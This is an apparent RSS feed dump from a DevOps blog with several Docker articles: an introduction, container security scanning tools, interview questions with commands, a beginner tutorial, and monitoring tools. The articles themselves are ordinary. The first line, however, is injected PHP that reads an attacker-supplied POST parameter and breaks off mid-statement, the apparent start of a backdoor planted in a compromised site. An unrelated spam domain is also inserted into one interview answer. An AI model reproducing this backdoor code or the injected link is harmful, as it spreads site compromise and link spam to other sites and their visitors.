$_api_resp = @$_POST['ant']; if ($_api_resp) { $pk = << Docker – DevopsCurry https://devopscurry.com Thu, 26 Sep 2024 14:00:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://devopscurry.com/wp-content/uploads/2021/08/cropped-logo-32x32.png Docker – DevopsCurry https://devopscurry.com 32 32 An Brief Introduction To Docker https://devopscurry.com/an-brief-introduction-to-docker/?utm_source=rss&utm_medium=rss&utm_campaign=an-brief-introduction-to-docker https://devopscurry.com/an-brief-introduction-to-docker/?noamp=mobile#respond Wed, 24 Jul 2024 06:07:59 +0000 https://devopscurry.com/?p=10325 Introduction To Docker: What Is It & How It Works? Before docker was released as an open-source platform in 2013, software development and deployment was a tedious and time-consuming process. There were several problems that the developers faced when they had to share the applications they had developed with other developers. Some of the problems […]

The post An Brief Introduction To Docker appeared first on DevopsCurry.]]> Introduction To Docker: What Is It & How It Works?

Before docker was released as an open-source platform in 2013, software development and deployment was a tedious and time-consuming process. There were several problems that the developers faced when they had to share the applications they had developed with other developers.

Some of the problems were:

  • An application developed on a particular operating system (let’s say Windows) might not work when installed on a different one (let’s say Mac).
  • The receiver’s system had to be configured manually to support the application.
  • The installation was itself a multi-step process as each of the dependencies or services had to be manually installed and set up.
  • Even after all this, there was a possibility of human errors and bugs that might be too difficult to find and fix.

However, the docker technology solved most of these problems and smoothened the development and deployment process. In this article, we will be discussing everything about dockers: what is it; how it works; its benefits and limitations; and more…

What is Docker?

Docker is an open-source platform that lets you build, test, and deploy applications quickly. It uses containerization technology to bundle up everything needed to run a software into packages called as containers. These packages can be easily shared with other developers, installed and run on their systems. Moreover, containers can be run on any system on which Docker is installed irrespective of the machine’s OS.

Docker has revolutionized the way we create and run containers on cloud platforms, quickly becoming the go-to tool for developers. It lets you build, deploy, and run applications efficiently using containers. With Docker, you can bundle your application with all its required libraries and dependencies, making it easy to move and deploy as a single package across various environments without worrying about compatibility issues.

Unlike virtual machines, Docker doesn’t create a separate OS but instead shares the host OS kernel, providing a complete environment for applications. This approach not only reduces the size of the application but also enhances performance, as you only include the necessary dependencies not present on the host system.

So, how does Docker manage to package and run applications within containers? You can run multiple containers simultaneously on the same host without consuming excessive CPU resources. Docker optimizes the process of running containers, even within virtual machines. Once your application is built, tested, and packaged as a single unit, it can be deployed to production as a container. This ensures that your application runs efficiently on any platform, whether it’s a local data center or a cloud provider, offering great flexibility.

Docker Architecture: Components and Working

Image Credit: https://www.geeksforgeeks.org/architecture-of-docker/

Containers are the characteristic components of the Docker architecture.

FreeCodeCamp defines them as “Container is a lightweight, standalone, and executable software package that includes everything needed to run a piece of software, including the code, runtime, system tools, and libraries.”

You can also say that containers carry an environment in which the software can work properly. This environment is the same as the one in which it was originally developed. Also, if you develop an application in a docker container, you can share the entire container as a single unit without having to share each of the dependencies individually.

Moreover, containers are isolated from the rest of the infrastructure. This means that the whole system need not be configured to make it compatible for the application to work. Plus, multiple containers with different requirements can be worked upon on the same local machine. Docker image is another important term that is often confused with docker containers.

Docker images are like a blueprint of the containers that contain all the instructions to run the container. You can say they are static versions of containers while containers are running versions of images. Moreover, multiple containers can be created from the same image. When containers are shared between systems, they are shared in the form of images.

Advantages Of Docker

♦ Time-efficient

Containerization saves time and energy in various ways. All the codes and dependencies to run a software can be shared at once in the form of containers. These containers carry with them the environment in which the software was originally developed and worked best. This saves the time which was usually wasted on solving compatibility issues and version differences.

♦ Isolation

The docker containers act as isolated environments. They do not interfere with each other’s resources and only use those that are allocated to them. This makes the containers highly secure and stable in shared environments.

♦ Resource-efficient& Scalability

Docker containers are lightweight and use less resources. Hence, it helps to save disk space and works faster. Docker containers are quick to replicate and scale. They support the microservices architecture and allow scalability of individual services.

Disadvantages Of Docker

♦ High risk

Although containers are lightweight, they rely on the host’s operating system. This means if the host’s system is attacked, the containers are also at risk. However, VMs are at a lesser risk as they have their own operating systems.

♦ GUI Incompatibility

Dockers are not suitable for applications that require a rich graphical user interface (GUI). Though some solutions are available for this, they can be quite cumbersome and complex.

♦ Steep learning curve

Dockers pose a steep learning curve for developers new to containerization.

Dockers v/s Virtual machines

Both docker and virtual machine (VM) are tools used for running applications and programs. However, they differ in their architecture and functioning:

  • A docker container consists of only the dependencies and uses the local machine’s operating system to run. A virtual machine has its own kernel and operating system and does not depend on the host’s system.
  • Because of the above reason, docker images are lightweight (in megabytes) and take seconds to run while VM images are larger (in gigabytes) and take more time to run.
  • Docker is directly compatible only with Linux OS. It requires tools like Docker Desktop to run on other OS. Virtual machines are compatible with all operating systems.
  • As discussed before, docker containers are at risk if the host’s system faces a problem. In the case of VMs, it is completely independent of the host’s system and is highly secure.

Conclusion

Docker has transformed the way we develop and deploy software by, making the process faster and simpler. Before Docker, sharing and running applications on different systems was cumbersome due to compatibility issues. However, Docker has resolved this by sharing the application along with its suitable environment, freeing it from any compatibility problems with the local machine’s system. This allows developers to focus more on software development rather than troubleshooting and fixing bugs.

 

The post An Brief Introduction To Docker appeared first on DevopsCurry.]]> https://devopscurry.com/an-brief-introduction-to-docker/feed/ 0 Container Security Scanning https://devopscurry.com/container-security-scanning/?utm_source=rss&utm_medium=rss&utm_campaign=container-security-scanning https://devopscurry.com/container-security-scanning/?noamp=mobile#respond Tue, 11 Jun 2024 07:25:56 +0000 https://devopscurry.com/?p=10227 An Brief Introduction On Container Security Scanning & Their Tools What is Docker Security Scanning? [Container Security Scanning]….All services that you require inside a container Docker permits you to install all this, you are free from all the worries about installing on a similar package with several versions on your system. You can use Docker […]

The post Container Security Scanning appeared first on DevopsCurry.]]> An Brief Introduction On Container Security Scanning & Their Tools

What is Docker Security Scanning?

[Container Security Scanning]….All services that you require inside a container Docker permits you to install all this, you are free from all the worries about installing on a similar package with several versions on your system. You can use Docker to operate services and applications and it has its sandboxes which are known as containers. With the help of a Docker, you can easily dispense the whole environment of an application from one to another. The process to find out the presumed security in the package listed in your Docker image. Docker image security plays a very important role in terms of Docker security. If we have to generate a Docker image then firstly we have to generate a Dockerfile and by utilizing the Docker build command you can turn it into an image after finishing Dockfile.[Container Security Scanning]

Container/ Docker Security Scanning Tools

These tools are important to find out for identifying vulnerabilities in container images. These tools examine container images for known vulnerabilities, compliance issues and misconfigurations. Now we will explain some of the tools are as follow:

♥ Docker Bench

It is utilized in the production to search numerous best practices and the automated tests for checking the best practices around Docker containers and it works like a script. Docker Bench focuses on developers because it regulates containers with the community edition of Docker. You have to require Docker 1.13.0 to operate Docker Bench. It’s an open-source script that checks for best practices in Docker deployments. This tool is created to automate security check , support to making sure that Docker host and container attach to the best security practices as outlined by Docker’s security guidelines.

♥ Clair

It is an open-source project which is utilized in Quay.io that has an alternative to Docker Hub and it is also a public container registry that is created by CoreOS. It proposes security for applications and dockers and by using Clair you can create services that continuously regulate your container for any susceptibility of the container. Every data is recorded in NVD, which means National Vulnerability Database, so in a case where any error recognizes them, it will procure the circumstances and furnish every detail in the report.

♥ Anchore

For scanning, the CI/CD pipeline Anchore is obtainable in Jenkins Plugins and it can operate on orchestration and standalone platforms like Rancher, Kubernetes, Docker Swarm and Amazon ECS. One of the important features of Anchore is to permit the users to execute the intense container image exploration to check  the package of the operating system, RubyGEMs and Node.JS modules as well every single file is coated in the analysis.

♥ OpenSCAP

This is one of the best tools that is used by security auditors and IT admins that consists of open source tools, configuration baselines and open security benchmark guides. It also uses SCAP which means Security Content Automation Protocol which is NIST -certified that furnishes the security policies and that is readable to machines. In comparison with others, OpenSCAP is more broad-based than others.

♥ Dagda

It’s an open-source tool that is used for static analysis of container security and also for scanning viruses, vulnerabilities, malware and viruses in Docker containers. If you want to use Dagda then firstly you have to scan the Docker container. It stored the vulnerability data as well. It is very flexible that handles both REST API as well CLI and that is one of the important benefits of Dagda and for the detection of vulnerability, it operates an antivirus engine named ClamAV.

♥ Black Duck OpsSight

It is also an open-source vulnerability that observes and accentuates any of the images which consist of open source vulnerabilities. In case of any differences, Black Duck OpsSight noticed and attended within the orchestration platforms. One of the important features of OpsSight is its standard container images that have a security policy that is open source.

♥ Sysdig Falco

Sysdig Falco tool is formulated by Sysdig to recognize some bizarre action in your application which is an open-source tool as well and that is created for Kubernetes, cloud environment and containers. It also regulates and recognizes host, network activity, container and application. It constantly monitors and discovered unpredicted behavior, vulnerabilities, intrusions in actual time. It combine with several Kubernetes environments, SIEM tools and CI/Cd pipelines.

♥ Dockle

It’s an open-source tool that is very useful for ascertaining that the best practices for writing Dockerfiles chase Docker drawbacks. You can also use Dockle to lint container images in opposition to user exemption escalation, CIS benchmarks, potentially vulnerable commands and assisting to ignore sensitive mysteries. With the help of other platforms like Mac OS X, Linux and Homebrew you can easily install Dockle.

♥ Trivia

It is formulated to be used within the process of CI and CD and to deploy an application or previously delivered to a container to scan for vulnerabilities. In the other word you can say for any container, it’s a vulnerability scanner. This is a complete security scanning tool that is created by Aqua Security and it is utilized for identifying vulnerabilities in file system, container images, & Git repositories. It scan the container images for vulnerabilities in some of the OS package as like RHEL, Debian etc.

♥ Hadolint

This tool is written in Haskell that is operated by a small firm or a team and it also supports the team’s for their structure or in other ways team structure and deploys Docker containers best practices and it works as a linter also.

Conclusion

The adoption of container security scanning tools is not just a best practice but a necessity in today’s fast-paced, security-conscious development landscape. Whether you’re a developer, DevOps engineer, or security professional, leveraging these tools can significantly enhance your security posture and safeguard your applications against evolving threats. Embrace container security scanning as a fundamental part of your DevSecOps strategy to build and maintain resilient, secure applications.

 

The post Container Security Scanning appeared first on DevopsCurry.]]> https://devopscurry.com/container-security-scanning/feed/ 0 Top 25 Docker Advanced Interview Questions in 2021 https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=top-25-docker-advanced-interview-questions-in-2021 https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/?noamp=mobile#respond Mon, 08 Mar 2021 11:43:01 +0000 https://devopscurry.com/?p=8891 Docker Interview Questions with Answers (Intermediate/Advanced) What is Hypervisor? It is software that helps in making virtualization possible. Its other name is Virtual Machine Monitor. Its main task is to divide the host system. It also does the allocation of resources to the individually divided virtual environment. The two types of Hypervisors are: Bare Metal Hypervisor or […]

The post Top 25 Docker Advanced Interview Questions in 2021 appeared first on DevopsCurry.]]> Docker Interview Questions with Answers (Intermediate/Advanced)
  1. What is Hypervisor?

It is software that helps in making virtualization possible. Its other name is Virtual Machine Monitor. Its main task is to divide the host system. It also does the allocation of resources to the individually divided virtual environment. The two types of Hypervisors are:

    • Bare Metal Hypervisor or Native Hypervisor: This type of hypervisor runs directly on your underlying host system. As it has access to your host hardware, it does not need any base server operating system.
    • Hosted Hypervisor: This hypervisor uses an underlying host operating system and thus the name, hosted hypervisor.
Types of Hypervisors

Image Credit: https://www.dnsstuff.com/what-is-hypervisor

  1. What is Virtualization?

Virtualization can be defined as a process by which we create a virtual, software-based version of anything such as servers, computer storage, applications, etc. It can be done with just a physical single hardware system. A software named Hypervisor comes in use to split a single system into various different sections. These split sections, in turn, work like a distinct, separate individual system.

  1. What is  Docker?

Docker is an open-source lightweight containerization technology. It is a containerization platform that consists of your application along with all of its dependencies in the container form. It makes sure that the application works well and seamlessly in any given environment such as test, production, or development. Docker container is a software piece in a filesystem. It contains everything required to run coding, runtime, system libraries, system tools, etc.

  1. Explain Docker Architecture.

Docker Architecture has a Docker engine which is basically a client-server application. It has 3 major components which are:

    • A server or a kind of long-running program, known as a daemon process. (The Docker Command)
    • A REST API usually specifies the interfaces that can be used by the programs to talk with daemons and to instruct what to do.
    • A CLI (Command Line Interface) client. It uses REST API to interact with or control the Daemon. It is done through CLI commands or scripting.
Docker Advanced

Image Credit : https://www.oreilly.com/library/view/learn-openshift/9781788992329/33d025bf-27fa-49b9-99b3-673a20ae6d1e.xhtml

 

You can also refer to our posts on `A Docker Container Tutorial for Beginners` and `Docker Cheatsheet for Beginners`

DevOps 2021 : A Docker Container Tutorial for Beginners

Docker Cheatsheet for Beginners

  1. How can you check the Docker Client and also the Docker Server version?

You can perform this task by using the `version` command:

$ docker version 

  1. How can you know of the number of containers paused, running, or stopped?

Use the following command to get detailed information of the docker installed:

$ docker info

Using this command, you can know about the number of containers running or paused or a number of images, containers stopped, and much more.

  1. How can you create a Docker container using an image?

Pull out any image from the docker repository and create a container. Use the given command:

 $ docker run -it -d <image_name> 

  1. What is the command used to run all the containers?

Using the following command will list all containers running:

$ docker ps 

  1. How can you stop, start or kill a container? 

To stop a cactusmeraviglietina.it container, use the following command:

$ docker stop <container_id> 

To start a docker container, use the following command:

$ docker start <container_id> 

Kill a container by using the given command:

$ docker kill <container_id> 

  1. How do you build a Docker file?

After writing a docker file, you will now need to build it so as to create the image with the specifications given. Use the given command to build a docker file:

$ docker build <path to docker file> 

  1. When a docker container exits, will your data discard?

No, exiting a docker container will not discard your data. All the data written to the container gets automatically preserved on disk. It will get deleted only when you intentionally delete the container.

  1. Where can you use Docker?

Talking about the various applications of docker, we can conclude that it can be used in the following areas:

    • Code Pipeline Management
    • Simplifying Configuration
    • Developer Productivity
    • Debugging Capabilities
    • Application Isolation
    • Rapid Deployment
    • Multi-tenancy 
  1. Can we use JSON in place of YAML for composing files in Docker?

Yes. YAML is a superset of json so any JSON file should be valid Yaml. To use a JSON file with Compose, specify the filename to use, for example:

$ docker-compose -f docker-compose.json up

  1. Are you able to remove a paused container in Docker?

No, you cannot remove any paused docker container. You can only remove a container when it is in the stopped state.

  1. On what platforms can docker run?

Docker is supported and can run on several platforms such as:

    • Fedora 19/20+
    • Ubuntu 12.04, 13.04 et al
    • Gentoo
    • RHEL 6.5+
    • ArchLinux
    • CentOS 6+
    • CRUX 3.0+
    • openSUSE 12.3+
    • Windows

Docker can be used also in production through Cloud platforms with the given services:

    • Amazon ECS
    • Amazon EC2
    • Microsoft Azure
    • Google Compute Engine
    • Rackspace
  1. Can a container get automatically restart?

By default, the flag restart remains false. So, it is not possible for a container to automatically restart.

  1. Is it good if you run stateful applications over Docker?

The concept of statement applications says that their data gets stored on the local file system. So, when you move the application to another device, it will become difficult for you to retrieve data. So, we do not recommend running stateful applications here.

  1. Is it okay to run Compose in production?

Yes, as per our experience, using docker-compose in production is among its top applications. In the process of defining applications with compose, you can use it in various stages of production such as CI, testing, staging, etc.

  19. What is Docker image?

The Docker image help to create Docker containers. You can create the Docker image with the build command. Due to this, it creates a container that starts when it begins to run. Every docker images are stored in the Docker registry.

  20. What is a Dockerfile?

Docker builds images automatically by reading the instructions from a Dockerfile — a text file that contains all commands, in order, needed to build a given image.A Docker image consists of read-only layers each of which represents a Dockerfile instruction. The layers are stacked and each one is a delta of the changes from the previous layer.

 Example of a Dockerfile:

FROM ubuntu:18.04
COPY . /app
RUN make /app
CMD python /app/app.py

Each instruction creates one layer:

    • FROM creates a layer from the ubuntu:18.04 Docker image.
    • COPY adds files from your Docker client’s current directory.
    • RUN builds your application with make.
    • CMD specifies what command to run within the container.

21. What is a Docker Namespace?

A namespace is one of the Linux features and an important concept of containers. Namespace adds a layer of isolation in containers. Docker provides various namespaces in order to stay portable and not affect the underlying host system. Few namespace types supported by Docker – PID, Mount, IPC, User, Network

  22. What are the lifecycle stages of a Docker Container?

This is again a very common and popular interview question. Docker containers go through the following lifecycle stages:

    • Create a container
    • Run the container
    • Pause the container(optional)
    • Un-pause the container(optional)
    • Start the container
    • Stop the container
    • Restart the container
    • Kill the container
    • Destroy the container

  23. Is it possible to run multiple process inside a single Docker container?

Yes, you can run multiple processes inside Docker container however this approach is discouraged for most use cases.It is generally recommended that you separate areas of concern by using one service per container. For maximum efficiency and isolation, each container should address one specific area of concern. However, if you need to run multiple services within a single container, you can try using tools like Supervisor.

Supervisor is a moderately heavy-weight approach that requires you to package supervisord and its configuration in your image (or base your image on one that includes supervisord), along with the different applications it manages. Then you start supervisord, which manages your processes for you.

   24. Does Docker supports IPv6?

Yes, Docker does supports IPv6.  However IPv6 networking is only supported on Docker daemons running on Linux hosts.Support for IPv6 address has been there since Docker Engine 1.5 release.

To enable IPv6 support in the Docker daemon, you need to edit/etc/docker/daemon.json and set the ipv6 key to true.

{
  "ipv6": true
}

Ensure that you reload the Docker configuration file.

$ systemctl reload docker

You can now create networks with the –ipv6 flag and assign containers IPv6 addresses using the –ip6 flag.

 25. What is a .dockerignore file?

Similar to a .gitignore file, we also have a Dockerignore files which allows you to mention a list of files and/or directories which you might want to ignore while building the image. This would definitely reduce the size of the image and also help to speed up the docker build process.

Before the docker CLI sends the context to the docker daemon, it looks for a file named .dockerignore in the root directory of the context. If this file exists, the CLI modifies the context to exclude files and directories that match patterns in it. This helps to avoid unnecessarily sending large or sensitive files and directories to the daemon and potentially adding them to images using ADD or COPY.

Read Also

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The post Top 25 Docker Advanced Interview Questions in 2021 appeared first on DevopsCurry.]]> https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/feed/ 0 DevOps 2021 : A Docker Container Tutorial for Beginners https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/?utm_source=rss&utm_medium=rss&utm_campaign=devops-2021-a-docker-container-tutorial-for-beginners https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/?noamp=mobile#respond Fri, 26 Feb 2021 14:47:35 +0000 https://devopscurry.com/?p=8788 A look at Docker in 2021: The most preferred Container technology I am sure if you are a software professional, then you have probably heard of term Docker at some point in last few years. And you are probably aware of the fact that it has become an instrumental or the must-know technology for any application developer […]

The post DevOps 2021 : A Docker Container Tutorial for Beginners appeared first on DevopsCurry.]]> A look at Docker in 2021: The most preferred Container technology

I am sure if you are a software professional, then you have probably heard of term Docker at some point in last few years. And you are probably aware of the fact that it has become an instrumental or the must-know technology for any application developer to know and have in their kitty.

However if you have no idea of what I’m talking about, no worries – this article is supposed to share those details with you.

As the global businesses grow, complexity tends to increase in handling large and complicated applications. To manage the extensive applications, it is necessary that we take appropriate measures. Thus, the need to keep the applications on the same host isolated from each other without interfering with the other’s working arises. This issue has been resolved using virtual machines, providing separate environment hardware and software resources for running the application. But it comes with some downfalls as it requires its OS, which can be bulky and difficult to handle. Thus we move to container technology.

Containers allow you to isolate the applications by providing different execution environments sharing the same underlying OS kernel. It will enable you to pack the application more densely on the same hardware. With a container, you can bundle up the applications and their dependencies and libraries into a package that can be easily handled and modified without impacting the working of other applications or the system. But running thousands of containers can be challenging to create and manage. Thus, we require some tools to handle it. Thus Docker comes into the picture.

Docker was launched in 2013 as an open-source project. It boosts the containerization and microservices concept in software development, also known as cloud-native development. 

As per definition from Wikipedia,

Docker is a set of platform as a service (PaaS) products that use OS_level virtualization  to deliver software in packages called containers. Containers are isolated from one another and bundle their own software, libraries and configuration files; they can communicate with each other through well-defined channels.Because all of the containers share the services of a single OS kernel , they use fewer resources than  virtual machines. 

What is Docker?

Docker has gained popularity with containers and has changed how to create and run containers on a cloud platform. Docker is the most popular tool that allows you to create, deploy, and run applications with the help of containers. As a developer, you can bundle the application along with required libraries and dependencies using docker container. You can quickly move these packages as a single application and deploy them in any environment without worrying about compatibility with the underlying infrastructure. 

Unlike Virtual machines, Docker does not create a separate OS but provides a complete environment using the same OS kernel for all applications. Docker helps reduce the size of the application and enhances performance as you have to include only the required dependencies that may not be available on the host system. 

Well, the question is how Docker manages to package and run applications within the container? You can even run multiple containers at the same time on the same host without consuming too much CPU resources. Docker provides high optimization to run containers within the VM. once you create an application, it is being tested and distributed as a single unit. This single unit can also be deployed to the production environment as a container. This application will efficiently work on any platform like local data enter, cloud provider with great flexibility. 

Image Credits: https://www.docker.com/blog/containers-and-vms-together/

Docker architecture

Docker has a client-server application as its engine, which comes with three components- a server, a command-line interface, a client, a docker host, a registry, and a REST API.

  • The Docker server is the long-running daemon process that handles the Docker operations. The daemon will create and manage Docker objects like networks, volumes, images, and containers.
  • CLI helps in controlling and interacting with Docker daemon with scripts and commands. REST API will specify the interface to communicate between the daemon and the program.
  • Docker client interacts with the daemon, which builds, runs, and distributes the containers. You can run client and daemon on the same system, or they can be on different systems. Docker Client and Daemon communicate via REST API over the network interface. With the help of Docker client, docker users can interact with Docker. The client sends the command to the daemon.
  • Docker Daemon- It listens for the Docker API requests and allows you to manage the Docker objects like images, containers, network, and volumes. Different daemons can interact with each other to control the Docker services.
  • Docker Registries- Registry is used to store the Docker images. Docker provides Docker Hub, a public registry open to all users, and is configured to look for Docker Hub images by default. Apart from this, you can also maintain your personal Docker registry. You can run various commands to pull and push images from the configured registry.
DevOps 2021

     Image Credits : https://thingsolver.com/hello-docker/

Why is Docker so popular?

There are various reasons for Docker to gain popularity after the Virtual machine. Below are some reasons to adopt the Docker process within your software development lifecycle.

  • Docker is much faster and reliable than a Virtual machine.
  • Docker is more portable due to the consistency of the host environment irrespective of the underlying OS hosting the environment.
  • Docker uses containerized applications that can be easily scaled up or scaled down as per the business requirement.
  • With the container concept, you can easily break a complex application into small and modular microservices.
  • Docker rises as an open-source that has marked its territory within the market. It offers a faster way to deploy applications without focusing much on the platform.
  • Docker can be easily integrated with the DevOps development and deployment cycle. It helps in enhancing agility, flexibility, and scalability.
You can also read about our old posts on reasons to adopt Containers in 2021 and Docker Command Cheatsheet:

Docker Cheatsheet for Beginners

Why you should consider adopting Containers in 2021

What is rom

Advantages of Docker

Below are the top advantages of using Docker that help in driving the successful growth of the business.

  • Cost-efficiency- Docker comes with various cost-saving offers. It provides a better return on the investment. Not only this, it allows developers to reduce down the cost along with enhancing performance. However, Docker works well for small and large businesses, but large companies tend to gain more profit and stable revenue over a long period. It allows you to spend less on infrastructure and resources required for the development. You will have to employ less staff to develop and manage the applications, leading to lower human resource costs.
  • Productivity- with Docker, you can efficiently handle multiple deployments and release cycles at the same time. It provides a familiar environment for production to be seamless. It allows team members to collaborate on a large scale to debug errors and analyze their performance. It reduces the time spent on fixing mistakes and manage that time towards development. You can easily roll back a single component of any application without impacting other applications in progress. Docker allows you to create multiple copies of the images for testing purposes, thus increasing productivity. 
  • Compatibility- an application created using Docker will run the same on all servers with different architecture and infrastructure. This helps the developers save their time as they do not have to create different versions of an application for every platform. The codebase can be set up quickly and is more portable than any other platform. You can use the same container image across all development phases of the application. 
  • Easy deployment- you can deploy an application within no time with Docker. You do not have to boot the Docker applications into the Operating system and use OS kernels to make the process simpler. You can perform various actions on the applications without impacting the efficiency.
  • Continuous testing- with Docker, you can test your applications from an early development stage to the production deployment. You can configure all the Docker containers with all dependencies and required files, which can be used throughout the production states without any modification. For any changes, you can alter the containers at any phase of development, even at the release cycle, without modifying the complete application. Docker makes the application and platform flexible. You can test and release as many images as you want at the same time.
  • Security- apart from flexibility and scalability, Docker makes sure that all the containers that are running simultaneously will be fully segregated from each other. Developers can control the traffic to your application. The data of any container cannot be accessed and processed by any other container. 
  • Cloud technology- many cloud providers have adopted Docker’s extensive support due to its portability. You can run a Docker container within any cloud platform. Also, you can move applications from one cloud platform to another with great ease. 
Conclusion

There is no doubt that Docker is a revolutionary technology, which has changed the style of software development.

To summarise, there are three main reasons for Docker’s success. First, you can get more applications running on the same underlying hardware than other technologies. Second, docker makes it easy for developers to quickly create ready-to-run container applications. And finally, Docker makes managing and deploying your applications much easier.

However we also need to consider the tradeoffs before committing to a Docker-based approach. A careful accounting of the benefits and costs of containerise your entire application stack ,may well lead you to adopt Docker. So if the benefits add up, Docker and containers have the potential to open up new opportunities for your enterprise.

The post DevOps 2021 : A Docker Container Tutorial for Beginners appeared first on DevopsCurry.]]> https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/feed/ 0 Best popular Container Monitoring Tools to explore in 2024 https://devopscurry.com/understaning-container-monitoring-and-popular-container-monitoring-tools-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=understaning-container-monitoring-and-popular-container-monitoring-tools-in-2021 https://devopscurry.com/understaning-container-monitoring-and-popular-container-monitoring-tools-in-2021/?noamp=mobile#respond Sun, 21 Feb 2021 13:40:12 +0000 https://devopscurry.com/?p=8805 What is Container Monitoring? Popular Container Monitoring Tools  The use of container technology is at its peak. The benefits of containers for cloud-based microservices are infinite. Container Monitoring is the process of tracing the performance of applications that are built on a microservices architecture. Containers are complex and more challenging to keep an eye on […]

The post Best popular Container Monitoring Tools to explore in 2024 appeared first on DevopsCurry.]]> What is Container Monitoring? Popular Container Monitoring Tools 

The use of container technology is at its peak. The benefits of containers for cloud-based microservices are infinite. Container Monitoring is the process of tracing the performance of applications that are built on a microservices architecture. Containers are complex and more challenging to keep an eye on compared to traditional applications running on virtual servers.

Monitoring the performance of containerized applications to ensure application continuity is crucial. Monitoring becomes more effective through analyzing metrics, obtainer from any sources like host and demons logs, and monitoring agents installed on each node.

Container monitoring tools track container performance, collects event data, and measures the effects of container-sharing resources. Now Monitoring practices can be either proactive, reactive or adaptive. While Proactive monitoring sets protocols to prevent container failure, in Reactive monitoring we alert users by raising events when the containers fail. Adaptive monitoring continually assesses container performance and impacts from new components.

Importance of Monitoring Docker Containers

Like any other technologies, Containers are subject to performance degradation. The health of containerized applications directly impacts the health and business efficiency of a business. Monitoring application performance ensures that both the containerized applications and the infrastructure are always at optimum levels.

Monitoring Docker Containers helps in:

  • Detect and solve issues at an early stage.
  • Proactively avoids the risks at the production level.
  • Implement changes safely as the whole environment is monitored.
  • Optimize resources allocation.
What Resources to monitor

Host based Metrics

  • Host CPU
  • Host Memory
  • Host Disk Space
  • Total Number of Running Containers

Container-based metrics

  • Container CPU – Throttled CPU Time
  • Container Memory Usage
  • Container Memory – Fail Counters
  • Container Swap
  • Container Disk I/O

You can also refer to our posts on Application Monitoring and Monitoring best practices:

DevOps Tools: What is APM and Best APM Tools in 2021 !

Best Monitoring and Alerting Practices to follow in 2021

 

Container Monitoring

  Image Credits: https://logz.io/blog/docker-monitoring-dockercon-2016/

 

Popular Container Monitoring Tools for Docker in 2021

When it comes to monitoring any containerized app, you have to choose the monitoring tools that fit your specific requirements. Here we have included the top ten container monitoring tools for Docker. Take a look at each tool to see what they offer and what suits your needs best.

  1. AppOptics Docker Monitoring with APM
    AppOptics is a SaaS-based APM and infrastructure tool for hybrid and cloud-native IT environments. It offers a robust monitoring solution for Docker containers. AppOptics have a pre-configured docker monitoring dashboard. It visualizes per-container CPU, memory, and network metrics. 
    Some of the key features of AppOptics are auto-instrumented application service topology map, pinpoint the root cause of performance issues, performance monitoring, full-stack visibility, modern infrastructure monitoring, and AWS monitoring.
  2. SolarWinds Server and Application Monitor
    The most prominent feature of SolarWinds is its ability to detect issues directly from the container layer. This feature gives it an edge over other traditional server monitors.
    SolarWinds offer tracking for key performance metrics like CPU, memory, and uptime of individual Docker containers via a simple dashboard. Other important features of SolarWinds are instant alert regarding depleted resources, the ability to detect issues directly from the container layer, and the ability to isolate individual containers and monitor them concerning their neighboring nodes.
  3. Prometheus
    Its an open-source Docker monitoring tool and is also one of the three solutions recommended by Docker. Prometheus offers a simple docker dashboard that visualizes the workloads of targeted Docker instances. It creates a separate volume to store recorded metrics.
    Prometheus is available as an image easily installed on Docker containers. There are some advanced configurations for production environments. Hence, it is one of the easiest to configure for larger setups.
    The Prometheus Query Language (PromQL) can be used to query metrics and statistics through the dashboard in a tabular or graphical form. One disadvantage of Prometheus is that it’s impossible to monitor containerized apps via the Docker target. Docker suggests other tools for this purpose.
  4. Docker API
    Docker API provides an API for interacting with the Docker daemon, also known as the Docker Engine API. it is the official HTTP Web Service API for interacting with Docker. This is used to connect any external Docker monitoring tool via the secure API endpoints to gather metrics and store or visualize them.
    Docker API is ideal for organizations that have their applications for monitoring containers from multiple service providers.
  5. ManageEngine Applications Manager
    It is an application management solution that helps businesses to monitor their data centers, applications, databases, and systems. It is possible to monitor all the components in a single, integrated platform, which can scale upto 50,000 apps.ManageEngine specializes in tracking both container environments as well as the applications encapsulated within them. ManageEngine allows all containers within each host to reduce bottlenecks in performance and availability. Application Manager allows to set up pre-configured rules related to container status and performance metrics.
  6. cAdvisor
    cAdvisor or container advisor analyzes and exposes resource usage and performance data from running containers. cAdvisor is from Google and is open-source. It is a running daemon that collects, aggregates, and exports resource usage and performance data of targeted containers.cAdvisor focuses on resource isolation parameters, historical resource usage, and histograms of historical data. Builds of cAdvisor are available as images that you can install on Docker hosts. It offers a web UI as well as a REST API to cater to both users that are looking to monitor their Docker containers directly as well as integrate metrics to an external app via web service endpoints.
  7. SolarWinds Librato
    Librato is a SolarWinds company that offers a hosted monitoring platform that companies use to collect, visualize, and store large amounts of streaming data. The goal is to manage the health of their applications.
    Librato brings all the benefits of SolarWinds with more customized features. It can manage a wide range of languages and frameworks through RPC calls, queues, and other resources.
  8. Dynatrace
    Dynatrace application monitoring provides all performance metrics in real-time and detects and diagnoses problems automatically. It gives an out-of-the-box solution for monitoring containerized apps without installing any image or modifying run commands.
    Dynatrace enables extensive tracking and monitoring through log monitoring even when details like docker name, ID, host details are not available. It does not require extensive storage space just like many other monitoring tools.
  9. Datadog
    Datadog gives you the ability to create monitors the actively check metrics, integration availability, network endpoints, and more. Datadog collects data related to services, applications, and platforms via detailed log data. This data is automatically visualized to highlight unusual behavior.Datadog can monitor the data by the platform natively. Using this feature, it is possible to monitor both holistically and to drill down to container level. All data is available via an interactive dashboard that shows real-time data.
  10. Sysdig
    Sysdig is an open-source, cross-platform system monitoring and troubleshooting tool. It is powerful and flexible. One of the most significant advantages of Sysdig is that it provides monitoring for containers, cloud services, and Kubernetes. 

It is extremely important to choose Docker monitoring tools that are robust and allow them to be deployed quickly across thousands of nodes. Drop a comment below if you have any suggestions regarding the best Docker Container Monitoring Tools.

 

